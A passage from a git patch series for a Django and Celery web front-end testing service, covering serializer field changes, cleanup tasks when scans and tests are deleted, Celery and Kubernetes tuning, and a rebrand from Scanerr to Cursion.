-        'time_completed', 'lighthouse', 'yellowlab', 'configs', 'tags',
+        'time_completed', 'lighthouse', 'yellowlab', 'configs', 'tags', 'score',
         ]
 
 
@@ -219,7 +219,9 @@ class TestcaseSerializer(serializers.HyperlinkedModelSerializer):
     class Meta:
         model = Testcase
         fields = ['id', 'site', 'user', 'time_created', 'time_completed',
-        'steps', 'case', 'case_name', 'passed', 'configs', 'account',
+        'steps', 'case', 'case_name', 'configs', 'account',
+        # 'passed', # REMOVE
+        'status', # NEW
         ]
 
 
@@ -235,7 +237,9 @@ class SmallTestcaseSerializer(serializers.HyperlinkedModelSerializer):
     class Meta:
         model = Testcase
         fields = ['id', 'site', 'user', 'time_created', 'time_completed',
-        'case', 'case_name', 'passed', 'configs', 'account',
+        'case', 'case_name', 'configs', 'account',
+        # 'passed', # REMOVE
+        'status', # NEW
         ]
 
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 8245a856..6d8e4ed9 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -500,7 +500,7 @@ def create_site(request: object, delay: bool=False) -> object:
     # create process obj
     process = Process.objects.create(
         site=site,
-        type='case',
+        type='case.generate',
         account=account,
         progress=1
     )
@@ -1903,6 +1903,12 @@ def delete_scan(request: object=None, id: str=None, account: object=None) -> obj
     # remove s3 objects
     delete_scan_s3_bg.delay(scan.id, scan.site.id, scan.page.id)
 
+    # update page and site
+    update_site_and_page_info.delay(
+        resource='scan',
+        page_id=str(scan.page.id)
+    )
+
     # delete scan
     scan.delete()
 
@@ -1956,6 +1962,10 @@ def delete_many_scans(request: object) -> object:
                 scan = Scan.objects.get(id=id)
                 if scan.site.account == account:
                     delete_scan_s3_bg.delay(scan.id, scan.site.id, scan.page.id)
+                    update_site_and_page_info.delay(
+                        resource='scan', 
+                        page_id=str(scan.page.id)
+                    )
                     scan.delete()
                 # add to success attempts
                 num_succeeded += 1
@@ -2602,9 +2612,15 @@ def delete_test(request: object=None, id: str=None, account: object=None) -> obj
     # remove s3 objects
     delete_test_s3_bg.delay(test.id, test.site.id, test.page.id)
 
+    # update site and page with most recent data
+    update_site_and_page_info.delay(
+        resource='test',
+        page_id=str(test.page.id)
+    )
+
     # delete test
     test.delete()
-
+    
     # return response
     data = {'message': 'Test has been deleted',}
     if request:
@@ -2655,6 +2671,10 @@ def delete_many_tests(request: object) -> object:
                 test = Test.objects.get(id=id)
                 if test.site.account == account:
                     delete_test_s3_bg.delay(test.id, test.site.id, test.page.id)
+                    update_site_and_page_info.delay(
+                        resource='test', 
+                        page_id=str(test.page.id)
+                    )
                     test.delete()
                 # add to success attempts
                 num_succeeded += 1
@@ -5091,14 +5111,14 @@ def create_testcase(request: object, delay: bool=False) -> object:
             step['action']['time_created'] = None
             step['action']['time_completed'] = None
             step['action']['exception'] = None
-            step['action']['passed'] = None
+            step['action']['status'] = None
             step['action']['img'] = None
         # expanding assertion
         if step['assertion']['type'] != None:
             step['assertion']['time_created'] = None
             step['assertion']['time_completed'] = None
             step['assertion']['exception'] = None
-            step['assertion']['passed'] = None
+            step['assertion']['status'] = None
 
     # updating values if requested
     if updates != None:
@@ -5763,7 +5783,7 @@ def get_site_metrics(request: object) -> object:
         last_usage_date_str = last_usage_date_str.replace('T', ' ').replace('Z', '')
         last_usage_date = datetime.strptime(last_usage_date_str, f)
     else:
-        last_usage_date = datetime.now() - datetime.timedelta(30)
+        last_usage_date = datetime.now() - timedelta(30)
 
     # get scans
     scans = Scan.objects.filter(
diff --git a/app/scanerr/celery.py b/app/scanerr/celery.py
index bc89c01b..6488acf5 100644
--- a/app/scanerr/celery.py
+++ b/app/scanerr/celery.py
@@ -2,7 +2,7 @@
 from celery import Celery
 from celery.signals import worker_shutdown
 from django.conf import settings
-import scanerr, os
+import scanerr, os, time
 
 
 
@@ -38,7 +38,8 @@ def debug_task(self):
 # notify of SIGTERM
 @worker_shutdown.connect
 def on_worker_shutdown(**kwargs):
-    print(f'- WORKER SHUTTING DOWN - \n\n{kwargs}')
+    print(f'- WORKER SHUTTING DOWN - \n{kwargs}')
+
     
 
 
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 8d0f17ff..808fbfcc 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -6,6 +6,11 @@ metadata:
     deployment: celery
 spec:
   replicas: 2
+  strategy:
+    type: RollingUpdate
+    rollingUpdate:
+      maxSurge: 50%
+      maxUnavailable: 50%
   selector:
     matchLabels:
       app: celery-deployment
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index a40de1c5..f7f2d14d 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -202,12 +202,12 @@ kubectl apply -f ./k8s/prod/kubeip-daemon.yaml
 # Migration Notes for DB:
 1. Go to `models.py` and comment out all new additions
 2. Spinup staging env locally to create `00001_initial.py` migration as baseline
-   - `docker compose -f docker-compose.stage.yml up -d --build`
+   - `docker compose -f docker-compose.stage.yml up --build`
 3. Spin down staging env
    - `docker compose -f docker-compose.stage.yml down`
 4. Un-comment all new additions in `models.py`
 5. Spinup staging env locally again and ensure a new migration file is created in `/migrations`
-   - `docker compose -f docker-compose.stage.yml up -d --build`
+   - `docker compose -f docker-compose.stage.yml up --build`
 6. Spin down staging env
    - `docker compose -f docker-compose.stage.yml down`
 7. Merge `dev` branch on github using a pull request
\ No newline at end of file

From c1b70e13eaea7fec74954a29029b76ed295065b0 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 20 Sep 2024 14:45:06 -0600
Subject: [PATCH 732/752] switched to scrolling by clientHeight

---
 app/api/utils/imager.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index 597a0884..cc093f92 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -198,9 +198,9 @@ def scan_vrt(self, driver: object=None) -> list:
                 driver.set_window_size(int(sizes[0]), (int(scroll_height)))
                 
                 # scroll down and up
-                driver.execute_script(f"window.scrollBy(0, {scroll_height});")
+                driver.execute_script(f"window.scrollBy(0, {client_height});")
                 time.sleep(1)
-                driver.execute_script(f"window.scrollBy(0, -{scroll_height});")
+                driver.execute_script(f"window.scrollBy(0, -{client_height});")
                 
                 # get client & new scroll height
                 client_height = driver.execute_script("return document.documentElement.clientHeight;")

From 1693950657f854350900207387d0c5645c8e435f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 20 Sep 2024 20:58:23 -0600
Subject: [PATCH 733/752] fixed Scan & Test deletion issues

---
 app/api/tasks.py | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 545e9a90..a9efd46d 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -315,7 +315,7 @@ def update_site_and_page_info(
                     page.info['latest_scan']['score'] = latest_scan.score
                     page.info['lighthouse'] = latest_scan.lighthouse.get('scores')
                     page.info['yellowlab'] = latest_scan.yellowlab.get('scores')
-                else:
+                if latest_scan is None and (resource == 'scan' or resource == 'all'):
                     page.info['latest_scan']['id'] = None
                     page.info['latest_scan']['time_created'] = None
                     page.info['latest_scan']['time_completed'] = None
@@ -323,7 +323,6 @@ def update_site_and_page_info(
                     page.info['lighthouse'] = None
                     page.info['yellowlab'] = None
 
-
                 # latest_test info
                 if latest_test:
                     page.info['latest_test']['id'] = str(latest_test.id)
@@ -331,7 +330,7 @@ def update_site_and_page_info(
                     page.info['latest_test']['time_completed'] = str(latest_test.time_completed)
                     page.info['latest_test']['score'] = (round(latest_test.score * 100) / 100)
                     page.info['latest_test']['status'] = latest_test.status
-                else:
+                if latest_test is None and (resource == 'test' or resource == 'all'):
                     page.info['latest_test']['id'] = None
                     page.info['latest_test']['time_created'] = None
                     page.info['latest_test']['time_completed'] = None
@@ -355,7 +354,7 @@ def update_site_and_page_info(
         site.info['latest_scan']['score'] = latest_scan.score
         site.info['lighthouse'] = latest_scan.lighthouse.get('scores')
         site.info['yellowlab'] = latest_scan.yellowlab.get('scores')
-    else:
+    if latest_scan is None and (resource == 'scan' or resource == 'all'):
         site.info['latest_scan']['id'] = None
         site.info['latest_scan']['time_created'] = None
         site.info['latest_scan']['time_completed'] = None
@@ -365,7 +364,6 @@ def update_site_and_page_info(
 
     # update site with new test info
     if len(tests) > 0:
-        
         # calc site average of latest_test.score
         site_avg_test_score = round((sum(tests)/len(tests)) * 100) / 100
         print(f'updating site with new test score -> {site_avg_test_score}')
@@ -377,7 +375,7 @@ def update_site_and_page_info(
         site.info['latest_test']['time_completed'] = str(latest_test.time_completed)
         site.info['latest_test']['score'] = site_avg_test_score
         site.info['latest_test']['status'] = latest_test.status
-    else:
+    if latest_test is None and (resource == 'test' or resource == 'all'):
         site.info['latest_test']['id'] = None
         site.info['latest_test']['time_created'] = None
         site.info['latest_test']['time_completed'] = None

From 1190c4e41d4aadcb064546d0410a6489dad24dee Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 23 Sep 2024 10:10:03 -0600
Subject: [PATCH 734/752] testing new configurations for celery

---
 app/scanerr/celery.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/app/scanerr/celery.py b/app/scanerr/celery.py
index 6488acf5..1839e4a7 100644
--- a/app/scanerr/celery.py
+++ b/app/scanerr/celery.py
@@ -20,11 +20,12 @@
 
 # celery and beat configs
 app.conf.update(
-    task_acks_late=False,
+    task_acks_late=True,
     worker_prefetch_multiplier=1,
     worker_hijack_root_logger=False,
     task_always_eager=False,
     worker_cancel_long_running_tasks_on_connection_loss=True,
+    worker_max_tasks_per_child=100
 )
 
 # setting tasks to auto-discover

From 6063657ff8465afac3d940f6ddf2682bd8d20fbd Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 23 Sep 2024 11:14:29 -0600
Subject: [PATCH 735/752] added back scroll for auto-height

---
 app/api/utils/imager.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index cc093f92..bf3ba480 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -267,7 +267,7 @@ def scan_vrt(self, driver: object=None) -> list:
                 break
 
             # scroll single frame if not first frame and not auto_height
-            if index != 0 and not self.scan.configs.get('auto_height', True):
+            if index != 0:
                 driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);")
                 time.sleep(int(self.scan.configs.get('min_wait_time', 10)))
 

From 6916ffe2d6b71aea44b09cec6b480577965d6b40 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 23 Sep 2024 11:28:39 -0600
Subject: [PATCH 736/752] changed 'access' to 'token' for google_auth

---
 app/api/v1/auth/services.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index bf719008..18634faf 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -288,7 +288,7 @@ def jwt_login(*, user: object) -> str:
 
     # get JWTs for user
     refresh = RefreshToken.for_user(user)
-    access = str(refresh.access_token)
+    token = str(refresh.access_token)
     refresh = str(refresh)
     
     # create API token if none exists
@@ -307,7 +307,7 @@ def jwt_login(*, user: object) -> str:
 
     # building params for redirect
     param_string = str(
-        '?access='+str(access)+'&refresh='+str(refresh)+
+        '?token='+str(token)+'&refresh='+str(refresh)+
         '&username='+str(user.username)+'&id='+str(user.id)+
         '&email='+str(user.email)+'&is_active='+str(is_active)+
         '&created='+str(user.date_joined)+'&updated='+str(timezone.now())+

From b005694e15428636eab16f105e8b75254883c693 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 24 Sep 2024 14:15:36 -0600
Subject: [PATCH 737/752] updating to cursion

---
 .github/workflows/k8s-deploy.yaml             |  2 +-
 Dockerfile                                    |  2 +-
 LICENSE.md                                    |  6 ++---
 README.md                                     |  8 +++----
 .../management/commands/terminate_worker.py   |  6 ++---
 app/api/models.py                             |  2 +-
 app/api/tasks.py                              |  6 ++---
 app/api/templates/api/alert_no_button.html    |  4 ++--
 app/api/templates/api/alert_with_button.html  |  4 ++--
 app/api/templates/api/automation_email.html   |  4 ++--
 app/api/utils/alerts.py                       | 24 +++++++++----------
 app/api/utils/archive/caser.py                |  2 +-
 app/api/utils/archive/driver_p.py             |  2 +-
 app/api/utils/archive/imager.py               |  4 ++--
 app/api/utils/autocaser.py                    |  2 +-
 app/api/utils/caser.py                        |  2 +-
 app/api/utils/exporter.py                     | 16 ++++++-------
 app/api/utils/imager.py                       |  2 +-
 app/api/utils/issuer.py                       |  4 ++--
 app/api/utils/lighthouse.py                   |  4 ++--
 app/api/utils/reporter.py                     |  2 +-
 app/api/utils/scanner.py                      |  4 ++--
 app/api/utils/tester.py                       |  2 +-
 app/api/utils/verify.py                       |  2 +-
 app/api/utils/yellowlab.py                    |  4 ++--
 app/api/v1/auth/services.py                   |  4 ++--
 app/api/v1/auth/views.py                      |  2 +-
 app/api/v1/billing/services.py                |  4 ++--
 app/api/v1/billing/views.py                   |  2 +-
 app/api/v1/ops/services.py                    | 10 ++++----
 app/{scanerr => cursion}/__init__.py          |  0
 app/{scanerr => cursion}/asgi.py              |  4 ++--
 app/{scanerr => cursion}/celery.py            |  8 +++----
 app/{scanerr => cursion}/settings.py          |  8 +++----
 app/{scanerr => cursion}/urls.py              |  0
 app/{scanerr => cursion}/wsgi.py              |  4 ++--
 app/manage.py                                 |  2 +-
 docker-compose.dev.yml                        | 22 ++++++++---------
 docker-compose.local.yml                      | 22 ++++++++---------
 docker-compose.prod.yml                       | 22 ++++++++---------
 docker-compose.stage.yml                      |  4 ++--
 env/.env.stage.example                        |  2 +-
 k8s/local/app-deployment.yaml                 |  2 +-
 k8s/local/celery-deployment.yaml              |  4 ++--
 k8s/prod/app-cert-issuer.yaml                 |  2 +-
 k8s/prod/app-deployment.yaml                  |  4 ++--
 k8s/prod/app-ingress.yaml                     |  4 ++--
 k8s/prod/app-loadbalancer.yaml                |  2 +-
 k8s/prod/beat-deployment.yaml                 |  2 +-
 k8s/prod/celery-autoscaler.yaml               |  2 +-
 k8s/prod/celery-deployment.yaml               |  2 +-
 k8s/prod/ylt-autoscaler.yaml                  |  2 +-
 k8s/prod/ylt-deployment.yaml                  |  2 +-
 notes/Deployment.md                           | 11 +++++----
 notes/Kubernetes.md                           |  8 +++----
 setup/scripts/entrypoint.sh                   |  6 ++---
 setup/scripts/local.sh                        |  6 ++---
 57 files changed, 150 insertions(+), 149 deletions(-)
 rename app/{scanerr => cursion}/__init__.py (100%)
 rename app/{scanerr => cursion}/asgi.py (75%)
 rename app/{scanerr => cursion}/celery.py (83%)
 rename app/{scanerr => cursion}/settings.py (98%)
 rename app/{scanerr => cursion}/urls.py (100%)
 rename app/{scanerr => cursion}/wsgi.py (75%)

diff --git a/.github/workflows/k8s-deploy.yaml b/.github/workflows/k8s-deploy.yaml
index aa16f7dc..ad2031de 100644
--- a/.github/workflows/k8s-deploy.yaml
+++ b/.github/workflows/k8s-deploy.yaml
@@ -2,7 +2,7 @@
 # deploy the application on a DigitalOcean Kubernetes cluster. For description to the entire worklow, 
 # see www.digitalocean.com/docs/kubernetes/how-to/deploy-using-github-actions.
 
-name: Deploy to scanerr-k8s
+name: Deploy to cursion-k8s
 
 # Controls when the action will run.
 on:
diff --git a/Dockerfile b/Dockerfile
index 64a58d79..204d1157 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -2,7 +2,7 @@
 FROM python:3.12-slim
 
 # adding labels
-LABEL Author="Scanerr" Support="hello@scanerr.io"
+LABEL Author="Cursion" Support="hello@cursion.dev"
 
 # setting ENVs and Configs
 ENV HOME=/app
diff --git a/LICENSE.md b/LICENSE.md
index 97c65594..4975f547 100644
--- a/LICENSE.md
+++ b/LICENSE.md
@@ -1,10 +1,10 @@
-Copyright (c) 2024 Scanerr
+Copyright (c) 2024 Cursion
 
 
-Scanerr Commercial Software License Terms
+Cursion Commercial Software License Terms
 
 1.	Order. These terms, together with the order referencing them, make up a software license agreement. The software, the developer, and the customer are all identified on the order.
-(i)  Software: Scanerr 
+(i)  Software: Cursion 
 (ii) Developer: Grey Labs, LLC (https://greylabs.io)
 2.	Versions. This agreement covers the specific version of the software on the order, plus any new versions of the software that the vendor makes generally available, or specifically provides to the customer, while this agreement continues.
 3.	Modifications. The customer may make changes to the software’s source code, compile those changes, and run changed versions of the software.
diff --git a/README.md b/README.md
index 08ac9f10..13ebd329 100644
--- a/README.md
+++ b/README.md
@@ -1,13 +1,13 @@
-# Scanerr Server (API repo)
+# Cursion Server (API repo)
 
-![Build Status](https://github.com/scanerr-io/server/actions/workflows/k8s-deploy.yaml/badge.svg)
+![Build Status](https://github.com/cursion/server/actions/workflows/k8s-deploy.yaml/badge.svg)
 
-This is the server repo for the Scanerr API, an error detection service designed to run front-end tests on web applications. This service is fully dockertized for local dev/testing as well as deployed environments. 
+This is the server repo for the Cursion API, an error detection service designed to run front-end tests on web applications. This service is fully dockertized for local dev/testing as well as deployed environments. 
 
 > This software is only intended for internal white-label use and is not licensed for redristibution. See LICENSE for more information.
 
 
-Copyright © Scanerr 2024
+Copyright © Cursion 2024
 
 ---
 &nbsp;
diff --git a/app/api/management/commands/terminate_worker.py b/app/api/management/commands/terminate_worker.py
index 84804dfb..1cadfa8c 100644
--- a/app/api/management/commands/terminate_worker.py
+++ b/app/api/management/commands/terminate_worker.py
@@ -1,4 +1,4 @@
-from scanerr import celery
+from cursion import celery
 from django.core.management.base import BaseCommand
 import time, os
 
@@ -13,7 +13,7 @@ class Command(BaseCommand):
     def handle(self, *args, **options):
 
         # get worker / pod name
-        default_worker = 'scanerr-celery'
+        default_worker = 'cursion-celery'
         if os.environ.get('THIS_POD_NAME'):
             default_worker = str(os.environ.get('THIS_POD_NAME'))
 
@@ -30,7 +30,7 @@ def handle(self, *args, **options):
 def wait_for_tasks_to_complete():
 
     # get worker / pod name
-    default_worker = 'scanerr-celery'
+    default_worker = 'cursion-celery'
     if os.environ.get('THIS_POD_NAME'):
         default_worker = str(os.environ.get('THIS_POD_NAME'))
 
diff --git a/app/api/models.py b/app/api/models.py
index a275773e..885ab006 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -4,7 +4,7 @@
 from django.contrib.auth.models import User
 from datetime import datetime
 from django.contrib.postgres.fields import JSONField
-from scanerr import settings
+from cursion import settings
 import uuid
 
 
diff --git a/app/api/tasks.py b/app/api/tasks.py
index a9efd46d..7a856b03 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -18,7 +18,7 @@
 from django.contrib.auth.models import User
 from django.utils import timezone
 from datetime import datetime, timedelta
-from scanerr import settings
+from cursion import settings
 import asyncio, boto3, time, requests, json, stripe
 
 
@@ -1942,7 +1942,7 @@ def delete_admin_sites(days_to_live: int=1) -> None:
 @shared_task
 def create_prospect(user_email: str=None) -> None:
     """ 
-    Sends an API request to Scanerr Landing which 
+    Sends an API request to Cursion Landing which 
     creates a new `Prospect`
 
     Expects: {
@@ -2003,7 +2003,7 @@ def create_prospect(user_email: str=None) -> None:
 @shared_task
 def create_report_export_bg(report_id: str=None, email: str=None, first_name: str=None) -> None:
     """ 
-    Creates and exports a Scanerr landing report
+    Creates and exports a Cursion landing report
 
     Expects: {
         report_id   : str, 
diff --git a/app/api/templates/api/alert_no_button.html b/app/api/templates/api/alert_no_button.html
index 20e8260e..6dbc4813 100644
--- a/app/api/templates/api/alert_no_button.html
+++ b/app/api/templates/api/alert_no_button.html
@@ -137,12 +137,12 @@
               <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: separate; mso-table-lspace: 0pt; mso-table-rspace: 0pt; width: 100%;">
                 <tr>
                   <td class="content-block" style="font-family: sans-serif; vertical-align: top; padding-bottom: 10px; padding-top: 10px; font-size: 12px; color: #999999; text-align: center;">
-                    <span class="apple-link" style="color: #999999; font-size: 12px; text-align: center;">Scanerr, San Antonio TX</span>
+                    <span class="apple-link" style="color: #999999; font-size: 12px; text-align: center;">Cursion, San Antonio TX</span>
                   </td>
                 </tr>
                 <tr>
                   <td class="content-block powered-by" style="font-family: sans-serif; vertical-align: top; padding-bottom: 10px; padding-top: 10px; font-size: 12px; color: #999999; text-align: center;">
-                    Powered by <a href="{{ home_page }}" style="color: #999999; font-size: 12px; text-align: center; text-decoration: none;">Scanerr</a>.
+                    Powered by <a href="{{ home_page }}" style="color: #999999; font-size: 12px; text-align: center; text-decoration: none;">Cursion</a>.
                   </td>
                 </tr>
               </table>
diff --git a/app/api/templates/api/alert_with_button.html b/app/api/templates/api/alert_with_button.html
index 13c30107..2b163e4d 100644
--- a/app/api/templates/api/alert_with_button.html
+++ b/app/api/templates/api/alert_with_button.html
@@ -144,12 +144,12 @@
               <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: separate; mso-table-lspace: 0pt; mso-table-rspace: 0pt; width: 100%;">
                 <tr>
                   <td class="content-block" style="font-family: sans-serif; vertical-align: top; padding-bottom: 10px; padding-top: 10px; font-size: 12px; color: #999999; text-align: center;">
-                    <span class="apple-link" style="color: #999999; font-size: 12px; text-align: center;">Scanerr, San Antonio TX</span>
+                    <span class="apple-link" style="color: #999999; font-size: 12px; text-align: center;">Cursion, San Antonio TX</span>
                   </td>
                 </tr>
                 <tr>
                   <td class="content-block powered-by" style="font-family: sans-serif; vertical-align: top; padding-bottom: 10px; padding-top: 10px; font-size: 12px; color: #999999; text-align: center;">
-                    Powered by <a href="{{ home_page }}" style="color: #999999; font-size: 12px; text-align: center; text-decoration: none;">Scanerr</a>.
+                    Powered by <a href="{{ home_page }}" style="color: #999999; font-size: 12px; text-align: center; text-decoration: none;">Cursion</a>.
                   </td>
                 </tr>
               </table>
diff --git a/app/api/templates/api/automation_email.html b/app/api/templates/api/automation_email.html
index 6ba3c45f..30719264 100644
--- a/app/api/templates/api/automation_email.html
+++ b/app/api/templates/api/automation_email.html
@@ -152,12 +152,12 @@
               <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: separate; mso-table-lspace: 0pt; mso-table-rspace: 0pt; width: 100%;">
                 <tr>
                   <td class="content-block" style="font-family: sans-serif; vertical-align: top; padding-bottom: 10px; padding-top: 10px; font-size: 12px; color: #999999; text-align: center;">
-                    <span class="apple-link" style="color: #999999; font-size: 12px; text-align: center;">Scanerr, San Antonio TX</span>
+                    <span class="apple-link" style="color: #999999; font-size: 12px; text-align: center;">Cursion, San Antonio TX</span>
                   </td>
                 </tr>
                 <tr>
                   <td class="content-block powered-by" style="font-family: sans-serif; vertical-align: top; padding-bottom: 10px; padding-top: 10px; font-size: 12px; color: #999999; text-align: center;">
-                    Powered by <a href="{{ home_page }}" style="color: #999999; font-size: 12px; text-align: center; text-decoration: none;">Scanerr</a>.
+                    Powered by <a href="{{ home_page }}" style="color: #999999; font-size: 12px; text-align: center; text-decoration: none;">Cursion</a>.
                   </td>
                 </tr>
               </table>
diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index 6cfc5b87..8ad87a76 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -7,7 +7,7 @@
 from slack_sdk.errors import SlackApiError
 from sendgrid import SendGridAPIClient
 from sendgrid.helpers.mail import Mail, From, To
-from scanerr import settings
+from cursion import settings
 import os, json, requests, uuid
 
 
@@ -92,10 +92,10 @@ def send_invite_link(member: object=None) -> dict:
 
         # build email data
         link = f'{os.environ.get("CLIENT_URL_ROOT")}/account/join?team={member.account.id}&code={member.account.code}&member={member.id}&email={member.email}'
-        subject = 'Scanerr Invite'
-        title = 'Scanerr Invite'
-        pre_header = 'Scanerr Invite'
-        pre_content = f'A user with the email "{member.account.user.username}" invited you to join their Team on Scanerr. Now just click the link below to accept the invite!'
+        subject = 'Cursion Invite'
+        title = 'Cursion Invite'
+        pre_header = 'Cursion Invite'
+        pre_content = f'A user with the email "{member.account.user.username}" invited you to join their Team on Cursion. Now just click the link below to accept the invite!'
         greeting = 'Hi there,'
 
         context = {
@@ -150,7 +150,7 @@ def send_remove_alert(member: object=None) -> dict:
         subject = 'Removed From Account'
         title = 'Removed From Account'
         pre_header = 'Removed From Account'
-        pre_content = f'A user with the email "{member.account.user.username}" removed you from their Team on Scanerr. Please let us know if there\'s been a mistake.'
+        pre_content = f'A user with the email "{member.account.user.username}" removed you from their Team on Cursion. Please let us know if there\'s been a mistake.'
         greeting = 'Hi there,'
 
         context = {
@@ -612,7 +612,7 @@ def automation_email(email: str=None, automation_id: str=None, object_id: str=No
         title = f'Alert for {url}'
         pre_header = f'Alert for {url}'
         pre_content = (
-            f'Scanerr just finished running a {item_type} for {url}. ' 
+            f'Cursion just finished running a {item_type} for {url}. ' 
             f'Below are the current stats:'
         )
         content = (
@@ -692,12 +692,12 @@ def automation_report_email(email: str=None, automation_id: str=None, object_id:
         title = f'Report for {url}'
         pre_header = f'Report for {url}'
         pre_content = (
-            f'Scanerr just finished creating a ' 
+            f'Cursion just finished creating a ' 
             f'<a href="{settings.CLIENT_URL_ROOT}/page/{str(report.page.id)}/report">Report</a> for {url}. '
             f'Please click the link below to access and download the PDF.'
         )
         content = (
-            f'\nThis message was triggered by an automation created with Scanerr. ' 
+            f'\nThis message was triggered by an automation created with Cursion. ' 
             f'You can change the automation and schedule in your ' 
             f'<a href="{settings.CLIENT_URL_ROOT}/page/{str(report.page.id)}">dashboard</a>.'
         )
@@ -850,7 +850,7 @@ def automation_phone(phone_number: str=None, automation_id: str=None, object_id:
         # build message data
         object_url = f'{settings.CLIENT_URL_ROOT}/{item_type.lower()}/{item.id}'
         pre_content = (
-            f'Scanerr just finished running a {item_type} for {url}. ' 
+            f'Cursion just finished running a {item_type} for {url}. ' 
             f'Below are the current stats:\n\n{exp_str}\n'
             f'View {item_type}: {object_url}\n\n'
         )
@@ -929,7 +929,7 @@ def automation_slack(automation_id: str=None, object_id: str=None) -> dict:
         # build message data
         object_url = f'{settings.CLIENT_URL_ROOT}/{item_type}/{item.id}'
         pre_content = (
-            f'Scanerr just finished running a `{item_type}` for {url}. ' 
+            f'Cursion just finished running a `{item_type}` for {url}. ' 
             f'Below are the current stats:\n\n```{exp_str}```\n'
             f'<{object_url}|*View {item_type}*>\n\n'
         )
@@ -1038,7 +1038,7 @@ def sendgrid_email(message_obj: dict=None) -> dict:
 
     # init SendGrid message
     message = Mail(
-        from_email=From('hello@scanerr.io', 'Scanerr'),  # prod -> settings.EMAIL_HOST_USER
+        from_email=From('hello@cursion.dev', 'Cursion'),  # prod -> settings.EMAIL_HOST_USER
         to_emails=email,  
     )
     
diff --git a/app/api/utils/archive/caser.py b/app/api/utils/archive/caser.py
index c47108bf..fad64501 100644
--- a/app/api/utils/archive/caser.py
+++ b/app/api/utils/archive/caser.py
@@ -8,7 +8,7 @@
 # from ..models import * 
 # from datetime import datetime
 # from asgiref.sync import sync_to_async
-# from scanerr import settings
+# from cursion import settings
 
 
 
diff --git a/app/api/utils/archive/driver_p.py b/app/api/utils/archive/driver_p.py
index 42b89e6a..389188a1 100644
--- a/app/api/utils/archive/driver_p.py
+++ b/app/api/utils/archive/driver_p.py
@@ -1,5 +1,5 @@
 # from pyppeteer import launch
-# from scanerr import settings
+# from cursion import settings
 # import time, os, sys, datetime
 
 
diff --git a/app/api/utils/archive/imager.py b/app/api/utils/archive/imager.py
index 393bfff4..db57392a 100644
--- a/app/api/utils/archive/imager.py
+++ b/app/api/utils/archive/imager.py
@@ -2,7 +2,7 @@
 # from .driver_p import driver_init as driver_init_p, wait_for_page
 # from ..models import Site, Scan, Test, Mask
 # from skimage.metrics import structural_similarity
-# from scanerr import settings
+# from cursion import settings
 # from PIL import Image as I, ImageChops, ImageStat
 # from datetime import datetime
 # from asgiref.sync import sync_to_async
@@ -318,7 +318,7 @@
 #             _page = self.scan.page
 #             return _page
         
-#         # getting Scanerr `page` object
+#         # getting Cursion `page` object
 #         _page = await get_page()
 
 #         # starting up puppeteer driver
diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 03c1c1a9..95eac27a 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -1,7 +1,7 @@
 from .driver import driver_init, driver_wait, quit_driver
 from selenium.webdriver.common.by import By
 from ..models import Site, Case
-from scanerr import settings
+from cursion import settings
 import time, os, json, uuid, random, boto3
 
 
diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index b8937d74..7136ff1b 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -6,7 +6,7 @@
 from ..models import * 
 from datetime import datetime, timezone
 from asgiref.sync import sync_to_async
-from scanerr import settings
+from cursion import settings
 
 
 
diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index 7eb469e0..5211ef18 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -1,7 +1,7 @@
 from .driver import driver_init, driver_wait, quit_driver
 from PIL import Image as I
 from .alerts import sendgrid_email
-from scanerr import settings
+from cursion import settings
 import time, boto3, os
 
 
@@ -21,7 +21,7 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     
     Returns -> data {
         'success' : bool if process started successfully
-        'error'   : str any error msg from Scanerr server
+        'error'   : str any error msg from cursion server
     }
     """
 
@@ -84,16 +84,16 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     os.remove(pdf)
     
     # setting up email to prospect
-    pre_content = 'The Scanerr performance report you requested has finished processing. \
